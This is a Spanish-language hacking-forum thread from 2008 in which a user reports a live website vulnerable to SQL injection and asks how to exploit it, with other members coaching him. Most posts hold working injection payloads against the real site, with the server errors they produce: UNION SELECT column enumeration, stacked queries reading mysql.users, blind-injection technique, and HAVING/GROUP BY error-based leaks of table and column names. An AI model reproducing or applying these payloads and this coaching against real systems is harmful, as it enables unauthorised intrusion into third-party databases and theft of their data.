elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  Duda con SQL injection
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Duda con SQL injection  (Leído 12,429 veces)
Leber


Desconectado Desconectado

Mensajes: 338


"Fracta, non verba"


Ver Perfil WWW
Duda con SQL injection
« en: 18 Abril 2008, 01:05 am »

Buenas, encontre una pagina vulnerable a SQL injection, pero no logro avanzar, intento sacarle cosas pero nada, a ver si pueden echarme un cable:

La pagina es tipo:

www.site.com/web/?id=45

Y si le pongo una comilla al final me salta:
Código:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Comilla no cerrada antes de la cadena de caracteres ''.

/web/sp/index.asp, line 1

Pero por mas que intento ordenarlo y hacer otras cosas me saltan errores, por ejemplo:

Poniendo la sentencia:

  480'ORDER BY 1 /*

Me salta:

Código:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Comilla no cerrada antes de la cadena de caracteres 'ORDER BY 1 /*'.

/web/sp/index.asp, line 11

A ver si pueden orientarme un poco, no quiero destruir ni nada, suficiente cuestan hacer las cosas, pero es simple curiosidad,. Gracias de antemano


« Última modificación: 18 Abril 2008, 01:14 am por Leber » En línea

"Solo los tontos carecen de preucupaciones." Johann Wolfgang Goethe
sch3m4
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.608

Nihil est in intelectu quod prius not fuerit insen


Ver Perfil WWW
Re: Duda con SQL injection
« Respuesta #1 en: 18 Abril 2008, 03:05 am »

Para explotar ese fallo no te vendría mal leer algo sobre SQL, en concreto sobre MS SQL Server que es el que corre el servidor. Si lo haces, te darás cuenta de porqué te salta ese error cuando metes la comilla (las comillas se usan para las cadenas).

Si es simple curiosidad no esperes una herramienta que te lo haga todo, trata de aprender algo sobre sql y porqué es vulnerable esa web. Con eso lo tienes todo hecho.
En línea

SafetyBits

"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
Ertai
Colaborador
***
Desconectado Desconectado

Mensajes: 2.025


Ralph Wiggum


Ver Perfil
Re: Duda con SQL injection
« Respuesta #2 en: 18 Abril 2008, 10:18 am »

Prueba con id=45 and 1=1 (si sale el contenido del id 45 es que es vulnerable).
En línea

Si la felicidad se comprara, entonces el dinero sería noble.

Código:
void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}
Leber


Desconectado Desconectado

Mensajes: 338


"Fracta, non verba"


Ver Perfil WWW
Re: Duda con SQL injection
« Respuesta #3 en: 18 Abril 2008, 11:55 am »

Si, sale el conteido con
Código:
id=45 and 1=1
, asi que supongo que es vulnerable. De todos modos como me recomendo Lympex leere algo sobre el MS SQL(tengo nociones basicas de SQL, pero no a tanto "nivel"), asi que gracias por la ayuda.

Si, como ya dije es curiosidad, y no quiero ninguna herramienta para "facilitarme la faena", quiero hacerlo yo solito, solo que tenia una duda, asi pues, muchas gracias.

Saludos

PD: Yo crei que SQL era standart, es decir, la sintaxi.
« Última modificación: 18 Abril 2008, 11:58 am por Leber » En línea

"Solo los tontos carecen de preucupaciones." Johann Wolfgang Goethe
Ertai
Colaborador
***
Desconectado Desconectado

Mensajes: 2.025


Ralph Wiggum


Ver Perfil
Re: Duda con SQL injection
« Respuesta #4 en: 18 Abril 2008, 16:23 pm »

Fijate que el and 1=1 es una condicion cierta y es evaluada como tal, por lo tanto muestra el contenido de a lo que el id 45 se refiera. Por lo tanto es vulnerable. Hay a veces que solo podras inyectar así, entonces hablamos de una blind SQL Injection, pero no tiene porque ser tu caso.

Podrias probar, por ejemplo, de poner id = -1 (lo que devolvera un conjunto vacío) y hacer un UNION SELECT 1,1,1,......,1 para ver si puedes inyectar otra SQL.

Citar
PD: Yo crei que SQL era standart, es decir, la sintaxi.

El SQL es estandar "mas o menos", es decir, hay ciertas partes básicas que si que son estandar pero no tienen porque escribirse de la misma forma en diferentes sistemas gestores de bases de datos, y también puedes ser que incorporen cosas añadidas no estandares.

Suerte con la inyección ;)
En línea

Si la felicidad se comprara, entonces el dinero sería noble.

Código:
void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}
sch3m4
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.608

Nihil est in intelectu quod prius not fuerit insen


Ver Perfil WWW
Re: Duda con SQL injection
« Respuesta #5 en: 18 Abril 2008, 16:32 pm »

Este pdf puede ayudarte http://www.hernanracciatti.com.ar/events/SQL_Injection_Real%20Hack_Exhibition.pdf  :)
En línea

SafetyBits

"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
Leber


Desconectado Desconectado

Mensajes: 338


"Fracta, non verba"


Ver Perfil WWW
Re: Duda con SQL injection
« Respuesta #6 en: 19 Abril 2008, 20:21 pm »

Muchas gracias a ambos, y gracias por el PDF,(ya lo lei jeje)  pero aun no me "salgo" con la mia. Estoy probando con una pagina con Mysql ya que es con lo que estoy mas familiriarizado, pero no logro avanzar. Les explico:

Bueno, supongo que la pagina ejecuta la accion(nuestra accion) porque la " ' " significa una interrupcion de la sentencia suya, y nos permite lanzar la nuestra.

Pero no se como empezar a sacarle el jugo, he visto varios manuales sobre inyecciones como lo hacian y parecia facil, pero debo ser borrico...

El problema esque no se por donde cogerlo, en alguna pagina me he ido guiando por los errores que me salian, por ejemplo para determinar el nº de columnas, y cuando me salia "Columna fuera de rango" en ingles, pues ya sabia que no habia mas columnas, y luego, he tratado de listar las columnas "buenas" con UNION ALL SELECT 1,2,3 etc, FROM nombre_tabla, pero no habia suerte, salia error, pero no de sintaxi, como si no reconociera el nº de columnas... Quiza doy demasiado la tabarra... A ver si pueden echarme un cable, me he leido como 4,5 manuales pero no logro ponerlo en practica de verdad, es decir, logro llegar hasta cierto punto(como determinar el num de columnas) pero nada mas.

Gracias de antemano y saludos
En línea

"Solo los tontos carecen de preucupaciones." Johann Wolfgang Goethe
sch3m4
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.608

Nihil est in intelectu quod prius not fuerit insen


Ver Perfil WWW
Re: Duda con SQL injection
« Respuesta #7 en: 19 Abril 2008, 21:26 pm »

he visto varios manuales sobre inyecciones como lo hacian y parecia facil, pero debo ser borrico...

No te preocupes, pasa mucho xD

Lo que dices de la " ' " no es del todo correcto... En sql server y en mysql (versiones a partir de la 5), puedes meter tus propias sentencias con " ; ", por ejemplo:

listado.php?id=5;SELECT * FROM mysql.users /*

Pero en las versiones menores que la 5 en mysql no puedes hacer eso, tienes que jugar con la inyección ciega, plantéatelo como si jugases con un niño pequeño, a que él piensa una palabra y tú se la adivinas, y le vas preguntando:

Citar
P: La palabra que estás pensando, tiene más de 4 caracteres?
R: SI
P: La palabra que estás pensando, tiene más de 5 caracteres?
R: NO
P: La palabra que estás pensando tiene 5 caracteres?
R: SI

Y sabes la longitud de la palabra, y ahora le preguntas:

Citar
P: El código ascii del primer caracter de la palabra que estás pensando es mayor que 64?
R: SI
P: El código ascii del primer caracter de la palabra que estás pensando es mayor que 65?
R: NO
P: El código ascii del primer caracter de la palabra que estás pensando es 65?
R: SI

Y le vas preguntando el código ascii desde el primer caracter, hasta el quinto caracter, que fúe la longitud que te dijo que tenía la palabra.

Así que ahora que tienes el código ascii te vas a www.asciitable.com y buscas el 65 que es 'A', y así sacas la palabra que está pensando el niño.

En las inyecciones sql ciegas se trata de jugar a este mismo juego, pero con el servidor. Remarco lo de ciegas, porque puede que le hagas un "SELECT * FROM usuarios" y te muestre toda la tabla...

En mysql tienes que tener muy en cuenta sobre qué versión está el servidor, (a grandes rasgos, si la version es <5 o >=5 (te acuerdas del juego del niño pequeño...?  ;) ) Ya que como te decía en el otro post, si es menor que 5, no te queda otra que la fuerza bruta para sacar los nombres de las tablas (una vez las tienes puedes volver a jugar al juego del niño pequeño para sacar las columnas y los campos), y si es >=5, puedes consultar la tabla INFORMATION_SCHEMA.

Yo que tú, probaría a instalarme en una máquina virtual un sql server y una mysql 5, y una vez las comprendas y sepas hacerlo, métete con la 4, que en el aspecto de saber explotar la vulnerabilidad, es más difícil.

Para ver diferentes métodos, pueder cojer alguna herramienta que te automatice el proceso, y corres un sniffer para saber cómo saca los datos, entiende por qué lo hace de esa manera, e intenta hacerlo tú a mano. Así es como más vas a aprender.  :)
« Última modificación: 19 Abril 2008, 21:28 pm por Lympex » En línea

SafetyBits

"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
Leber


Desconectado Desconectado

Mensajes: 338


"Fracta, non verba"


Ver Perfil WWW
Re: Duda con SQL injection
« Respuesta #8 en: 20 Abril 2008, 02:01 am »

Es decir, que si la v. es menor que 5, tengo que ir probando a meterle sentencias SQL para descubrir algo no?

Por que por ejemlo, hago:

Código:
id=-1'+ORDER+BY+1/*
y me dice que se desconoce esa columna, en cambio con otras si que funciono, y a partir de 17 ya me decian que no se conocia esa columna, pero de 1 a 16 no me decia nada..

O por ejemplo, si hago esto:

Código:
id=1'+UNION+ALL+SELECT+1+FROM+noticias/*

Me salta:

1222 The used SELECT statements have a different number of columns

Y si en cambio le voy metiendo hasta llegar al 17:
Código:
id='+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+noticias/*

Me devuelve un error de sintaxi:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+FROM+noticias

Tambien probe con:

Código:
id=-1'+UNION+ALL+SELECT+1+FROM+usuarios/*

Pero nada, no existe la tabla(lastima jeje):

1146 Table 'diariosi_ds21.usuarios' doesn't exist
 

No se, tendre que ir probando cosas...

 Bueno, vere a ver que puede hacerse, aunque de momento no voy muy bien encaminado, ya te digo, creo que logro sacar el nº  de columnas pero no ningun nombre de tabla, y bueno, eso que he ido mirando manuales de referencia y lo intento adecuar pero nada, como si le entrara cosas feas que no le gustasen un pelo... Si tienes algun manual asi bien detallado o que empiezen desde 0 te lo agradeceria sino, gracias igualmente, suficiente me has explicado ya jeje.

Saludos, y gracias.
« Última modificación: 20 Abril 2008, 02:12 am por Leber » En línea

"Solo los tontos carecen de preucupaciones." Johann Wolfgang Goethe
Leber


Desconectado Desconectado

Mensajes: 338


"Fracta, non verba"


Ver Perfil WWW
Re: Duda con SQL injection
« Respuesta #9 en: 22 Abril 2008, 01:08 am »

Heme aqui de nuevo ( ¿que desgracia eh  :( ?)

Bueno, vamos a ver:

Consegui sacar el nombre de una columna de una web(trabala con MS SQL), y bueno, probe algo mas, pero me quede encallado. Primero hice:

id=456+having+1=1

Y me produjo el siguiente error:

Código:
[La columna 'noticias.ANTETITULO' de la lista de selección no es válida, porque no está contenida en una función de agregado y no hay cláusula GROUP BY./code]

Asi que luego hice:

id=456+group+by+noticias.ANTETITULO+having+1=1

Y me salio:

[code]Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]La columna 'noticias.TITULO' de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.

/web/sp/index.asp, line 11

Asi que fui rellenando con group by, hasta que al tratar de meter la sentencia:

Código:
id=456+group+by+noticias.ANTETITULO+,noticias.TITULO+,noticias.ENTRADILLA+,noticias.FECHA+,noticias.HEAD,+noticias.TEXTO+having+1=1--

Me produjo el siguiente error:

Código:
[Microsoft][ODBC SQL Server Driver][SQL Server]No se puede comparar ni ordenar los tipos de datos text, ntext e image, excepto cuando se utiliza el operador IS NULL o LIKE.

Y ahi me quede, intente sacar la version con

Código:
id=456+union+select+@@version,1,1,1,1

Y me dijo:

Código:
[Microsoft][ODBC SQL Server Driver][SQL Server]Error de sintaxis al convertir el valor varchar 'Cinco organizaciones ecologistas denuncian la especulación urbanística como la principal amenaza del medio ambiente en España' para una columna de tipo de datos int.

Y nada mas, me quede ahi estancado, a ver si alguien puede echarme una mano, solo orientarme un poco(no me gusta que me hagan las cosas), para donde puedo ir o cuales pueden ser mis movimientos siguientes.

Gracias de antemano, y un saludo

[/code]
En línea

"Solo los tontos carecen de preucupaciones." Johann Wolfgang Goethe
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
(DUDA) Haciendo SQL Injection. « 1 2 »
Nivel Web
flowskull 16 9,856 Último mensaje 1 Abril 2012, 23:57 pm
por afdlkglfgfdgfhgf
Duda con Sql Injection en Sql Map
Nivel Web
Blackhawk222 3 3,198 Último mensaje 14 Febrero 2012, 11:24 am
por cibergolen
Duda sobre sql injection
Nivel Web
Mapcimus 2 3,279 Último mensaje 20 Julio 2013, 02:42 am
por Mapcimus
Xss injection & sql injection pequeña duda.
Nivel Web
6666 6 3,838 Último mensaje 12 Septiembre 2014, 07:27 am
por 6666
Duda sobre SQL injection
Seguridad
JoseGutrz 5 3,189 Último mensaje 15 Abril 2017, 06:51 am
por engel lex
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines